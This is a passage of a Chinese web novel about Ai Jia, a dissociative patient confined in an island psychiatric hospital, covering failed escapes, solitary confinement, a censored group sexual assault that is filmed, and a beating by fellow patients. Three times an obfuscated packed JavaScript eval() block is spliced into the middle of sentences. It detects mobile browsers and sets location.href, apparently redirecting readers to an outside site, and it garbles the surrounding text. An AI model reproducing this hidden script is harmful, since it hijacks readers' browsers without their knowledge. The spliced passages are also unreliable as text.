艾嘉的心怦怦跳得厉害,恨不得提到嗓子眼。 她用力按住胸口,试图阻止这狂乱的心跳,却无济于事。 她真怕自己被抓到。 虽然她被关过几次小黑屋,但那种滋味格外不好受,她不想被关小黑屋。 咯吱,咯吱,咯吱…… 外面的脚步声,每一声都像巨石,砸在艾嘉的胸口。 26. 被关小黑屋 艾嘉吓得快要叫出声,狠狠地咬住舌头。 声音终于越来越远、越来越远,直到听不见。 两人这才都重重地舒了口气。 等她们走出来,刚往前走了几步,突然,从身侧闪来一个高大黑影,用电棍将她们电晕。 * 艾嘉醒来,浑身酸疼,脑袋晕晕乎乎。 她闻到了一股腐朽陈旧的味道,睁眼,发现自己被关在一间狭小的屋子里。 屋子很黑,只从门下方开的一处方形小窗口透出点光,光晦暗不明,让她根本无法分辨是白昼还是黑夜。 她什么时候来的? 她坐在冰凉破旧的水泥地上,傻愣愣地坐了好久才想起来,她跟驰路计划出逃,结果被人电倒。 看来,她们的出逃计划宣告失败。 艾嘉重重叹了口气,想起她想见的迟哥,一阵烦躁,捋起衣袖,用右手想去掐左手腕,却发现左手腕上有了比较新的勒痕,这是什么? 是自己看错了吗? 怎么会有勒痕? 是自己出现幻觉了吗? 艾嘉想站起来走到门边,身体却有些乏力,根本站不起来,只好半蹲着,一步一步往前挪,像只艰难爬行的蜗牛。 终于爬到方形小窗前,蹲着根本看不见。 艾嘉不得不跪趴在地上,朝外望去。 水泥地,地面很脏,坑坑洼洼,一看便是经久未打扫。 墙体是残破的墨绿色,像诡异的缠绕着的海藻。 从外面爬过来一只蜘蛛,艾嘉吓得往后一退,定定地望着蜘蛛,见它往自己的方向爬来,吓得又往后挪了一步。 蜘蛛不见了,就在艾嘉以为它已经爬到别的地方去了,又往前挪了两步,朝小窗户看。 忽然,蜘蛛跳上方形小窗口,吓得她惊呼了声,匆忙跑到最里面靠墙的地方。 她得找个什么东西,等蜘蛛爬到她这儿了,她得把它消灭。 扫视一圈,什么都没有。 这屋子空荡荡的。 艾嘉看到墙壁上到处画了些什么,黑色的、红色的,根本看不出来画的什么。 黑的如同鬼魅,红的如同暗血。 这鬼地方,她想出去! 艾嘉敲着墙,想大喊时,门忽然开了。 她朝门那儿看去,看到两个黑衣大汉来了。 艾嘉还没来得及喊“快放我出去”,她的嘴巴、她的眼睛都被东西堵住。 须臾,她的意识进入迷糊状态。 她昏了过去。 * 再次醒来,艾嘉已经躺在床上了,眼前映出驰路的脸。 她吓了一跳:“你是谁?” “你不认识我了?”驰路眨了眨她那双妩媚的狐狸眼。 “小姑娘,自重!” 驰路叹口气,坐到床边,开始自我介绍:“我,驰路。” 得,她变成警察大叔人格了,又不认识她了。 “我怎么在这里?”艾嘉摸着有些晕乎的脑袋。 “你不该在这里,还该在哪里。”驰路问她,“你还记得自己被关小黑屋吗?” “被关小黑屋?”艾嘉一脸蒙,“什么时候?” 警察大叔的人格,记不得主人格发生的事。 驰路见她状态极为不佳的模样,让她先好好休息。 此时的艾嘉,是要去抓坏人、行好事的警察叔叔,怎么可能白白浪费时间。 她的脸色明明差到极点,却还是像没事人一样,活力满满地从床上跳下来,路过窗前,余光瞥见窄窄的窗台上停了一只千纸鹤,粉色的。 “这谁没事往这儿放这玩意儿啊。”艾嘉说。 “谁知道。”驰路望着千纸鹤,跟自己前两天拿到的一模一样,不管是造型,还是颜色。 驰路被关了一天禁闭,艾嘉被关了三天,为什么自己比艾嘉少两天,她不清楚。 被放出来的那天,驰路便看到窗台上有几只千纸鹤,粉色的。 没人拿,她就去拿了,这两天,每天清晨,她一睁眼,看向窗台时,总会看到一只粉色的千纸鹤。 驰路拉出自己的抽屉,给艾嘉看:“喏,我都先留着了。” 她不知道是谁叠的,也不知道是给谁的,但这个人肯定是想把千纸鹤给她们屋里的某个人。 驰路有种预感,千纸鹤不是给她,不是给屋里的其他人,可能是要给艾嘉。 有人送艾嘉水晶球,这个人不会平白无故地失去消息,他一定惦记着艾嘉。 他大概以这样的方式来给艾嘉送千纸鹤,提醒艾嘉,他的存在。 他会不会是艾嘉口中的“迟哥”? 但这个想法很快被晚上变回主人格的艾嘉否定了。 艾嘉说:“这不是迟哥给我的,他叠的千纸鹤可比这个要好看。还有,他要是送给我的话,一定会在上面写点暗号,你看,这些千纸鹤上什么都没有。” 她把三只千纸鹤都翻了个遍,什么都没找着。 驰路想,也许是她猜错了。 如果这是迟予辰送的,说明他知道艾嘉就在这里,那他为什么从来不看她? 驰路百思不得其解。 * 出逃计划被提上日程,是三天后,驰路见艾嘉状态不错,变回主人格时才跟她提起。 驰路拿到了一手的资料,知道孙阎罗几点到几点巡逻,在晚上一点四十到两点之间,他会回屋休息二十分钟。 她们算准时间,想从正门偷溜出去,却发现值班护士没睡。 驰路想了个办法,拿出随身的一个小石头,扔向另一边的过道,制造出声响。 护士站起来,朝声响的地方走。 她们拿着偷来的钥匙,趁机从正门飞快地溜了出去。 夜色中,她们一路奔跑。 这次,终于来到了损坏的电网墙下。 艾嘉望着比她要高许多的墙,犯愁道:“这么高,怎么爬上去?” “来,你踩我背上。”驰路弯下腰。 艾嘉刚想踩上去,一道黑影袭来,左右手一抬,两人都被电击得晕了过去。 …… 两人又被关进了小黑屋,驰路被关了一天便出来了,艾嘉还是被关了三天,出来的时候,整个人毫无光彩,目光呆滞空洞,走起路来像一缕即将消散的游魂。 艾嘉从她面前走过,当看空气。 驰路伸手在她眼前挥挥,试探地问:“艾嘉,你还认识我吗?” 艾嘉缓缓转头,面无表情道:“驰路。” 驰路看得出,这是主人格时的艾嘉。 “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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声音里带着重重的哭腔,头发乱得散在脸颊上,有几绺被泪水打湿,粘在脸上。 驰路每次看到艾嘉这样,觉得自己再多待下去,不疯也要疯。 耳边艾嘉的声音渐止,驰路望着黑漆漆的窗外,想起上次给爸爸打电话,他接都没接。 他是不想管她了? 他是要让她烂在这里吗? 她才不要! 被关了两次小黑屋的她,被警告,要是再逃一次,就打断她的腿,关她一个月的小黑屋。 她承认,她怕了,被关一天小黑屋,暗无天日,关得她要发疯,把她关一个月还不是要她命。 所以,当艾嘉再次提出出逃计划时,驰路没参加。 …… 那晚,如她所料,艾嘉的计划失败了,她又被关了三天小黑屋。 这次,被关小黑屋的第三天,浑身发疼的艾嘉,迷迷糊糊中听到不远处传来呜呜咽咽的女声: “你们把我杀了吧。” 声音甜美又沙哑,独特的嗓音,跟杨雨菲的很像。 难道被关的是杨雨菲吗? 27. 谁放的千纸鹤? 艾嘉从小黑屋出来时,驰路又给了她三只粉色千纸鹤。 送千纸鹤的人,还真是锲而不舍啊! 这之后,艾嘉没有再想出逃的事,不是不想,也不是不敢,而是想先缓缓,再这样频繁被关小黑屋,她感觉自己的身体快承受不了了。 自从艾嘉天天吃药后,精神状态要比之前好一些,发病率有所降低,但出现了新毛病,吃饭时偶尔会想呕吐。 驰路问她怎么回事,胃疼不疼。 艾嘉说不疼,但为什么会想呕吐,为什么会有些犯恶心? 也许是这儿饮食不好,这几天又被关小黑屋,胃出问题了吧。 她把这个情况告诉了金医生,金医生说可能是吃药的副作用,出现轻微恶心的情况,不用太在意。 …… 那天晚上,艾嘉望着窗外,看到一抹颀长瘦削的身影,在窗边放了一只千纸鹤,恰好是警察大叔的人格。 艾嘉急匆匆跑出去,刚好碰到赵阿姨,说自己要去抓犯人。 赵阿姨知道她在说胡话,让她回房间。 艾嘉死活不回去,跟赵阿姨说:“我看到有人在我们房间的窗台上放千纸鹤了。” 赵阿姨不说话了,半晌说了声“哦”。 “放千纸鹤,怎么可能是犯人,送千纸鹤的人没有干坏事啊,是在做好事。”赵阿姨说,“送千纸鹤,就是在送祝福。” 艾嘉被说服了,只得悻悻而归。 …… 之后的每个夜晚,失眠的艾嘉总会偷偷地躲在墙后,偷偷地看有没有人把千纸鹤放在窗台。 她们屋里有个挂钟,她发现那个人总会在午夜十二点来放千纸鹤。 艾嘉很想看看放千纸鹤的人是谁,但她看到的是他弯腰弓背往前走的影子,看到一只瘦削的手。 有次还看到了他的头发,披肩发,蓬蓬的,有些乱。 像流浪汉。 也像个疯子。 她忽然笑了,笑容越来越甚,还发出了笑声。 她笑了很久,笑到最后,脸上全是泪水。 有什么东西从她的心间溜走了,她觉得世界空荡荡。 她多希望送千纸鹤的人是她的迟哥,哪怕叠的千纸鹤没有之前好看也没关系。 人间没有推杯换盏,她的想念无法靠岸。 * 这样的日子持续到了月底,艾嘉的状态稍微有所缓解,主人格待的时间也长了些。 驰路会带她去休息室玩,看书、看报纸、看电视、打牌、打麻将…… 她看书、看报纸时,注意力都极其不专注,看会儿就神思游离,电视里放的也都是新闻,百无聊赖,只好跟着驰路学着怎么玩掼蛋。 艾嘉每次都要跟驰路结对,驰路是能把一手烂牌打成一手好牌的主,奈何她遇到了艾嘉这样的小白队友,开始次次输,但她告诉艾嘉出牌的规则和方法后,两人常常赢。 艾嘉的心情渐渐转好,想到明天是家人探视的日子,走起路来,脚步都轻快得像枝头跳跃的雀。 “驰路,明天我爸要来看我了。”艾嘉嘴角漾笑。 “我爸不会来看我。”驰路看似毫不在意地说。 她想起了元旦那天,艾嘉给她爸打电话,里面传来的女声,她爸会来看她吗? 每月月底,对“善安”精神病的病人们来说,是一场盛大狂欢。 这场狂欢里没有烈火烹油、鲜花着锦,有的是她们每个人内心深处的渴望。【注】 艾嘉也不例外,她也渴望着爸爸能来看她。 十月底爸爸没来看她。 十一月底爸爸跟她说出差去外地了,也没来看她。 十二月底,爸爸说他还在外地,回不来。 这个月呢,他是不是出差回来了? 探视日,被安排在家属接待室,一个只有二十多平米的屋子,里面放了一张张只能坐两人的小桌子,按序入内。 艾嘉跟着队伍往接待室走去,心里又害怕又期待,害怕爸爸不来,期待爸爸能来。 她望着右侧出来的病号们,有的笑,有的哭,有的呆,有的痴,众生百态。 驰路本来不想来,硬是被她拽来了,说看看,万一来了呢。 艾嘉看到身旁的女病号离开了,从右侧走来一个穿着藏蓝色羽绒服、黑裤的男人,个头中等,不管是身形还是发型,跟她爸还真像。 她记得,她爸也有一件这样藏蓝色的羽绒服。 艾嘉的心猛然一跳,激动地叫“爸爸”,那人没回答,继续往前走。 艾嘉连忙走上前,去拍那个男人的肩膀。 男人转身。 艾嘉脸上的笑容瞬间散去,这男人脸上长了些痘痘,根本不是她爸,她抱歉道:“不好意思,认错人了。” 男人没跟她计较,嫌弃地抖了抖肩膀,又嫌弃地瞥了她一眼,继而走了。 艾嘉被他的举动弄得有些不舒服。 这时,驰路走上前安慰她:“艾嘉,没事,你爸爸说不定在里面等你。” 艾嘉点了点头,仍抱着希望。 前面的人越来越少,快到她时,她的心忽然突突跳得厉害,真希望能快点见到爸爸。 见到爸爸,她要跟他好好说说,能不能把她接回去,她会很乖,她不会再闹了。 她要表现得好些,再好些,这样她爸爸见她状态好,说不定就让她回去了。 那样,她就能见到她的迟哥了。 艾嘉跟随着前面的人一起进了接待室,她扫视一圈,人很多,密密麻麻的,每个座位上都坐了两个人,一个病人,一个家属,还有的不止来了一个家属,没地方坐就站着。 她的爸爸呢,会不会在站着的没有座位的人里? 艾嘉找了又找,愣是没有看到爸爸的身影。 人声嘈杂,有聊天声,有叹气声,有笑声。 可是,为什么她的耳边响起了蜘蛛结网的声音,结了一层又一层,层层将她裹住,从耳边蔓延至全身。 忽然,艾嘉推开后面排队的人,疯了一样往外跑。 她的爸爸呢,她的爸爸来了吗? 她要去找他! 她要告诉他,她要回家! 她要回家!!! 她要回去见她的迟哥!!! 驰路跟在她后面边跑边喊:“艾嘉,你给我回来!” 艾嘉跑到另一侧排队的家长队伍里找,一个个地找,没有一个是她认识的面孔,她的脑袋几乎要炸开。 那些蛛网缠到她心间,她快要窒息。 没有,还是没有! 她终于停了下来,靠到墙上,蹲下来,无助地呆愣愣地看着移动的家长队伍,喃喃道:“爸爸,你怎么没来,你怎么没来……为什么你一次都没来?为什么?” 驰路见她那样子,想起了被人遗弃的小狗,孤零零地站在热闹的人群里,哪里都不属于她。 * 回到病房,情绪稳定下来的艾嘉拿出日记本,翻开新的一页,拿着笔想记录点什么。 2016年1月31日阵雨 爸爸,你现在在哪里,为什么没有来见我? 你知道,我有多希望你能来吗。 希望你来看我,哪怕一次也好。 你在做什么,在出差,还是身边有了新欢? 上次那个喊你“老公”的人,是你的新欢吧? 爸爸,你是不要我了吗? 下面画了一排简笔笔小人,每个小人的脸上都挂着两行眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087485|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪。 艾嘉在本子的中间画了条波浪线的分割线,在分割线中间写上: 悲喜分割线。 在分割线下面继续记录: 2016年1月31日晴天 迟哥,是你叠的千纸鹤吗? 是你每晚给我送千纸鹤吗? 那个人是个疯子,一定不是你。 但我多希望是你,哪怕是个疯子。 迟哥,沉睡公主想你了。 你什么时候来看沉睡公主? 沉睡公主有一个秘密要告诉你。 下面画了一个侧身而站的女孩,穿着蓬蓬纱裙,像个公主,踮着脚尖,身体微微前倾,左手竖起放在嘴边,似要跟谁说什么。 * 又到了难捱的夜晚,艾嘉在黑暗中,望着鬼魅般的天花板,愣愣地望着,一双眼睛空洞又茫然。 天花板逐渐变形,成了一幅画作,上面出现了厉鬼,长着利爪獠牙,张牙舞爪地朝她扑来,似乎要把她的身体撕成碎片。 艾嘉想连忙转头,但脖颈像僵了,她怎么都无法动一下。 她就这么呆愣愣地望着厉鬼朝她汹涌扑来,咬她就像咬一只鸟,先把她的翅膀咬断,再咬她的身体,到最后咬得连渣都不剩。 “迟哥、迟哥、迟哥……”她在心里一遍遍默念迟予辰的名字。 她在她的世界筑起了一道高墙,却不会施展魔法。 那些暗夜里现身的疯狂黑影,仍无时无刻地钻入墙内。 她在每个瞬息里,期待着永恒的光。 可是,神明,还会拜访她的世界吗? 艾嘉没有等神明降临她的世界,她先去找神明了。 …… 大概是老天眷顾她,这次她很顺利地从医院大门溜了出去。 外面还在下雨,雨丝连成线,斜斜地飘到她身上。 她完全不顾雨势大小,匆忙地在雨中奔跑,绕到医院后面,环顾一周,无人,她还是谨慎地贴着一排密密的树。 她跑啊跑,雨水胡乱地在她脸上拍打,打疼了,她也浑然不觉。 眼前雾蒙蒙的、黑漆漆的,她觉得自己像在雨水隧道里跑。 一直跑啊跑,好像只要这样跑下去,她就能找到属于她的那束光。 眼睛、眼睫、脸上、身上全是雨水。 艾嘉快要看不清路了,也不知道那个孙阎罗有没有看到她。 她听不见其他声音,只能听见雨水噼啪砸在她脸上的声音。 她想离开,离开这个鬼地方,再也不回来。 她要去找她的迟哥。 她想见见他。 终于跑到破损的电网下面。 上次驰路在,她可以踩着驰路的背上去,但驰路不在,她该怎么办? 艾嘉看了下四周,发现在右边墙角有几块石头,她先搬了一块大的,放到破损电网墙根处,又搬来稍大的,放在大的上面,再搬来最小的,放在稍大的上面,跟叠叠乐似的。 她一看便知,这是一个极为不稳固的叠叠乐,但有什么关系呢。 人生总是这样,不管最后是步正途还是走歧路,总要去探探那扇命运的门,看看有没有上锁。 艾嘉扫视一圈,四野无人。 她小心翼翼地踩上那块最小的石头,她的手紧紧地攀住破旧的墙,手心里全是雨水。 她左脚踩上了石头,这才小心地抬起右脚。 她金鸡独立般站在石头上,身体摇摇晃晃,像风暴中飘摇的一叶扁舟。 艾嘉想往上爬,左脚刚腾空,小石头扑通掉了,吓得她的心猛烈一跳。 孙阎罗千万不要来,千万不要来! 她在心里祈祷着,祈祷着这次一定要顺顺利利! 28. 谁能救救我? 被雨水冲刷的墙壁格外滑,艾嘉想牢牢抓住,却抓不住,还没引体向上,人就滑了下来。 再来一次,把小石头放在稍大的石头上,艾嘉又单脚踩上小石头,小石头摇摇晃晃,她也跟着摇摇晃晃。 她双手攀住湿滑的墙,用力往上跳,再用力往上跳,根本连墙顶都够不着,连跳几次,最后跳得整个人都摔了下来,重重地砸在满是雨水的杂草地上。 怎么办?她还有什么办法吗? 艾嘉往左边看,什么都没有,她往前走,一直走到尽头才看到有一块比刚才最大的石头还要大的石头。 她眼前一亮,想把这块石头抱过去。 不,抱肯定抱不动,她只能推它,一点点地往前推,手脚并用,手心里被石头坑洼不平的表面戳疼了、戳破了、戳出血了,她也不管,继续往前推。 艾嘉几乎是一口气,将这块大石头推到了方才的地方。 她又用叠叠乐的方法,从大到小把石头垒好,这次不需要最小的石头了。 艾嘉需要抬高左脚才能踩到稍大的石头上,她不再是摇摇晃晃的一叶扁舟了,她稳稳地站着,像一面迎风招展的旗帜。 她攀住墙壁,用力往上跳,一次不行,两次,两次不行,三次。 到第三次,她高高一跃,像敏捷的猎豹,双手终于攀到墙头,双脚再踩上破电网,迅速往上爬。 到了,终于快到了。 艾嘉终于爬了上去,坐到了墙头。 她挺直了脊背,高昂着头,像骄傲的胜利者,终于夺得领地。 终于可以离开这个鬼地方了! 终于可以去找她的迟哥了! 艾嘉那颗动荡不安的心,涌上前所未有的畅快。 就在她刚想跳下去时,顿时呆住了。 眼前的一切,让她惊恐不已。 她瞪大眼睛,一动不动地望着眼前的一切,心像停止了跳动。 脚下是嶙峋怪石,离自己很高,是跳下去可以致残的高度。 再往前看,是无尽无边的海,一眼望不到头。 这些是她的幻觉,还是现实? 如果是幻觉,为什么会有海浪拍打石头的声音? 为什么之前没听到?也是,都没给她听到的机会,就被电晕了。 雨势越来越大,眼前朦朦胧胧,像蒙了一层纱,更远处她看不见。 她想起了之前厨房大婶拿着烂掉的白菜说:“都一个月不来送货了。” 厨房大叔说:“来这里不方便,每次都要开船才能来。” 她有种不好的预感,也许她被关在一个几乎无人涉足的小岛上。 如果真是这样,她就成了笼中之鸟,就算跳下去了,也只有死路一条。 “谁在那儿?”一道粗犷的男声骤然划破万分寂寥的雨夜。 艾嘉被这突如其来的声音吓得身体一歪,手一滑,直直地要朝嶙峋怪石处掉下去。 这时,一双手抓住了她,她扭头去看,看到了一双挂着雨珠的眼睛,隔着雨雾,看不真切。 但只有一瞬,下一秒,她的身体传来阵阵电流,她颤抖得像个筛子,很快被电晕过去。 * 艾嘉是被疼痛弄醒的,身体很疼,每一处都疼,有鞭子抽打在她身上,有人在jian/踏她的身体。 她的身体不像她的身体,像被人操纵的布娃娃,不受控制地颤动。 她想动,手却被绑着。 她什么都没chuan,很冷,不知道躺在什么上面,只觉得后背被硌得疼。 她想说话,想张嘴,嘴里却被塞了东西,什么都说不出口。 她想睁眼,眼睛上被蒙着什么,看到的只有黑暗。 她在哪里? 谁在zao蹋她的身体? 她疼得想收腿,可腿被人牢牢按着。 不止一个人! 这是她的幻觉吗? 为什么如此真实,真实到她觉得这不是一场幻觉。 这让她想起霍盛源对她做的一切,身体忍不住颤抖,但这点颤抖跟被人jian踏时的动作没法比。 艾嘉听到有人说:“她还没醒。” “没醒好,睡着时弄,看的人还更多。”是另一个声音。 这里至少有三个男人。 艾嘉惊恐地不敢发出一点声音,假装自己还没醒。 她不过是一个精神病患者,是谁要这样对她? 在bian子抽打和被jian踏的双重疼痛下,艾嘉回忆自己为什么会来到这里,她原本冒雨要逃离这个鬼地方,结果发现自己被关在一座孤岛上。 然后呢?她被人电晕了。 那她应该受到惩罚,惩罚是……被关小黑屋。 所以,她现在在小黑屋? 之前每一次她从小黑屋出来,身上多出的伤痕、身上撕裂般的疼痛,都是被关小黑屋时才有的? 为什么没有多想? 她想起来了,是因为好几次,她的某些记忆缺失了,根本想不起来在小黑屋里都发生了什么。 难道之前,他们都会把她弄晕了再对她做这些事,还是有时也会趁她醒的时候做? 她光想想,都觉得浑身的汗毛直竖、冷汗直冒,心脏发颤。 她的心跳得格外厉害,她恐惧不已,又变回了那个被霍盛源无情肆nue的女生,痛苦、彷徨、无助、绝望。 她想挣脱命运的牢笼,可为什么,她一次次被囚禁其中,怎么也无法找到那把钥匙,打开门,走出牢笼。 这样残酷的bao行持续了多久,她不知道,但她的身体渐渐残破,越发肮脏。 越来越多的厉鬼缠身,朝她张开獠牙、伸出利爪,似要把她生吞活剥。 她似乎听到隔壁传来呜呜咽咽的女声,好像是痛哭声,又好像是求饶声,声音甜美又沙哑。 她想呐喊,她想怒吼,她想挣脱! 然而,她什么都不能做。 她不过是被人操纵的布娃娃! 她听到连续咔嚓咔嚓声,她辨出,那是按动相机快门时的声音。 这里热闹万分、喧嚣不止,她听到了野兽狩猎的躁狂声响,听到了野兽撕咬的狠劲疯狂。 这里荒草遍地、四野无人,她听到了猎人的枪声,打进了一只鸟的身体。 一枪一枪又一枪,枪枪致命,鸟坠落又深又暗的悬崖。 荒凉人间,悲鸟啼血,隐隐绰绰的可能不是光,也许是不为人知的迷雾障。 鸟穿透不了迷雾障,飞越不了天堂,它掉落人间,被无尽的黑暗埋葬。 谁把它抛弃,谁把它拯救,谁是它的神明? 它没有那么多奢望,不过希望在短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091228|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂岁月里,找到属于它的理想国。 安居在理想国里,孤独也好,寂寞也罢,只要还有翅膀,就要飞翔。 * 艾嘉回到病房时,面色惨淡,眼神空洞,她又变成了一株毫无生机的植物。 “艾嘉,你行动怎么不跟我说一声?”驰路往她的抽屉里塞千纸鹤,面露不爽。 艾嘉根本不看她,眼睛呆滞地望着某处,像失了魂魄。 “你被关了三天,怎么比前两次看起来要严重多了?”驰路担忧地看她。 “我没事。”艾嘉从抽屉里拿出一只千纸鹤,忽然笑了,空洞的眼神里忽然有了神采,“我去找我的学长了,我们去演《罗密欧与朱丽叶》了,他好帅,演得真好!” 驰路怎么觉得艾嘉正常吃药和治疗后,近期的状态又差了,难道是她爸爸没来看她,给她带来的打击很大? …… 下午吃完药,驰路发现艾嘉又变成了主人格,看到她拿起了日记本,正写着什么。 2016年2月4日阴天 我的身体不像是我的了。 它像坍塌的乐高积木,没有一处能拼凑完整。 它坏了,彻底坏了。 不再属于我了。 谁能救救我? 艾嘉写完日记,合上,把日记本放到放了一堆千纸鹤的抽屉里,再把一只只千纸鹤放在日记本上面。 她想起了迟予辰跟她说过:“小嘉同学,你听过一个传说吗,一天折一只千纸鹤,坚持一千天,每天把千纸鹤送给你想送的那个人,那个人就会得到幸福。”【注】 她知道,这些千纸鹤不是给她的,就当是给她的吧,她收到一千只时,就会幸福了吗? 艾嘉的心间泛起酸涩。 “驰路,我们出去走走?”艾嘉关上抽屉。 “走吧。”驰路从床上站了起来,走到她身边。 艾嘉走在她前面,走在阴森的过道上。 驰路望着她的背影,发现她的身板好像又纤薄了些,瘦弱的身体套在羽绒服里显得很空荡。 她走路很慢,又有些无力,像戴着沉重的镣铐行走。 艾嘉走在湿滑的瓷砖地上,不再是只雀跃的鸟,仿若被折断了翅膀,再也飞不起来了。 过道里透着一些光亮,艾嘉却觉得好黑好暗,还要走多久才能走到头? 终于走到大门口,一束光从层层云朵里钻出来,正好照在她脸上。 多好,天晴了! 艾嘉眯了眯眼,转过头,看到驰路,终于笑了:“驰路,我预感我的学长要来找我了。” 驰路讶然,她这人格又变了。 驰路把她带到了她们病房外的窗前,指着那只新来的千纸鹤说:“你拿吧。” “这是学长送我的吧。”艾嘉笑着拿过那只千纸鹤,“叠得真好。” “你学长想带你去哪儿?” “他说要带我去看樱花,带我去看蓝眼泪,也要带我去他的学校看看。”艾嘉满脑子都是甜蜜幻想,她的霍学长是那个站在樱花树下唇红齿白的少年。 “你听,就是她,又开始胡言乱语了。”有人开始议论。 “她说的霍学长,不就是强/bao她的那个人吗。” “这个傻X,还整天把这个人当好人!” “真是疯得没救了!” 29. 被暴打 无数声音飞到艾嘉耳中,像刀片般剜着她的心。 艾嘉拿着千纸鹤的手忍不住地颤抖着,心尖儿也在阵阵发颤。 她们在说什么? 她的霍学长是那样的人? 不!她的霍学长怎么可能是那样的人! “你们都给我闭嘴!”驰路朝那些人喊道。 那些人被驰路的冷漠烟嗓给吓到,瞬间都不说话了。 艾嘉用无助又可怜的眼神望着驰路,声音颤颤地问:“驰路,她们说的是真的吗?” “不是,她们都在胡说八道!”驰路说。 “我们没有胡说八道,我们都在说事实!” “是啊,我们说的是真的。” “你这个傻X,还天天把那个禽兽当好人,该清醒了!” …… 众人七嘴八舌。 艾嘉拿着千纸鹤的手没了力气,千纸鹤从手上滑落,无声落地。 她浑身的血液仿佛都凝固了,手脚袭上阵阵寒意,这股寒意蔓延全身,她仿佛置身冰天雪地。 她的美梦碎了,被人生生敲碎。 这不是真的,不是真的,不是真的! 心里的另一个声音在大声呐喊。 她试图用谎言筑造厚厚的茧,将自己重重包裹。 但她没想过,有一天,茧也是会破的。 艾嘉望着那些七嘴八舌的病号们,想起了上高中时,那些从她身边走过对她指指点点的女生们,她们跟这些病号一样,都用看异类的眼神看她,都把她当精神病。 可她没病啊,她很好,她有她的霍学长,她的霍学长可是很爱她的,对她也很好,他要带自己去看樱花和蓝眼泪。 她在等她的霍学长来接她走。 这些病号们像长舌妇,还在叽里呱啦地说着,她看到驰路走上前让她们一个个闭嘴,但她们还在说。 这些人,真是欠教训! “你们在闹什么?”艾嘉忽然拔高音量,气愤地朝她们喊。 “我们说的是事实,你别被蒙在鼓里!” “什么事实不事实的,别在这儿闹事。”艾嘉大咧咧走到她们面前,抬手指挥道,“一个个的,都安静,再胡闹把你们拉去警局。” 有人愣了,其他人就小声解释:“她变成警察了,她这发病,跟小孩子过家家似的。” “谁发病,谁小孩子过家家!”艾嘉作为警察,怎么能容忍别人对她这样,怒气冲冲地作势就要抓住那个人的双手。 那人缩回双手,格外不悦:“你要做什么?” “我做什么?”艾嘉高高扬起下巴,“我要把你抓起来,拉去警局!” “有毛病吧你!”那人也怒了,“一神经病演什么警察!” “你说谁神经病!”艾嘉气道。 “说的就是你!”那人戳着艾嘉的胸口,恶狠狠道。 艾嘉本就瘦,被那人重重一戳,没站稳,往后踉跄地退了两步。 “你还上手了,看我不把你带去警局。”艾嘉往前走两步,跟那人纠缠在一起。 驰路上去帮忙,另一拨人也都上前帮那人。 场面一度混乱,艾嘉想使出警察的格斗术,发现自己什么都不会。 身前的女病号拽起她的头发便使劲地揪,揪得她头皮很疼,不得不靠近她,用手肘去击女病号的腹部。 但她太瘦弱了,挥出去的力道太小,只让对方感到一点疼。对方提溜着她的衣领,把她重重地甩到地上。 艾嘉像一株残破的植物,瞬间倒地,头被狠狠撞到地上,头骨疼得快要碎掉,眼冒金星,全身像散了架似的疼。 她试图想要站起来,身体像长在地上,完全动弹不得。 艾嘉暗想:我这个警察,武力值真是烂到家了! 眩晕感渐渐消退,眼睛里似乎射进来一束光,艾嘉抬手,本能地想抓住这束光。 骑在她身上的女病号以为艾嘉要抓她脸,迅速地拽住她的手,边用力煽她的脸边大骂:“肮脏的东西,竟然还想打老娘,今天老娘就给你点颜色看看!” 看好戏的也没闲着,有人用脚踢艾嘉的腿,有人直接抬脚踹她小腹。 艾嘉想抬腿、想伸胳膊,发现自己的双腿被人踩着,双手也被人禁锢住。 她像砧板上任人宰割的鱼,无力反抗,无力挣脱,只能被人一步步凌迟。 驰路虽然最初撂倒了两三个女病号,但架不住对方人多,她现在的境况跟艾嘉一样,也被一个女病号骑在身下。 “还想把我拉去警局,老娘今天就好好告诉你,什么是执法的警察!”骑在艾嘉身上的女病号扯住艾嘉的头发,高高地抬起,作势就要狠狠地往地上砸去。 艾嘉身为警察,被人压就算了,现在还要挨打,真是面子里子全丢尽了。 她闭上眼,被扯起的头发似乎要跟头皮分离,她疼得直咬牙。 砰砰砰,接连三下,艾嘉的脑袋被重重地砸在地上,即使是草地,也被砸得生疼,疼得冒出生理性的眼泪。 “你们放开她。”驰路听到那三声响听得触目惊心,“她不过是个病人。” “哦~她是病人,我们就不是病人?”骑在艾嘉身上的女病号丝毫没有收手之意,拽起艾嘉的头发又要往地上砸。 艾嘉觉得再这么砸几下,不只是要脑震荡了,大概率自己要被砸傻了。 她的头皮疼得厉害,有一簇头发被扯掉了,胡乱地散落在她的脸上。 她等了好几秒,拽着她头发的那只手一直静止。 发生了什么? 艾嘉睁眼去看,看到女病号的手臂被人抓住,抓住她的那只手,粗糙削瘦。 她抬头去看这人,戴了一顶橙色帽子,穿着一身橙色工作服,浓眉,单眼皮,八字胡,脸黝黑。 他的眼神凌厉,如浸了寒冰,她看得有些毛骨悚然。 